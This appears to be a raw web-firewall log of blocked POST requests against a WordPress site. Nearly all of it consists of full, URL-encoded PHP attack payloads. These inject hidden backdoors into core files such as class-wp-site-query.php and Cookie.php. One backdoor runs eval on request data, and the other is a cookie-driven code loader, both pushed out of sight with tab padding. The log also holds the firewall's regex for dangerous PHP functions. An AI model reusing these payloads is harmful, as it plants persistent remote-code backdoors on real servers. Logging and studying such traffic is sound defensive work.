OH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:3244\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nOH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:57","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\ncontent-length:3267\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:52:12","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2042\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\n\ncj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:52:17","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2042\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nsB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:52:24","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Cookie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yXvTqp%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:2042\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 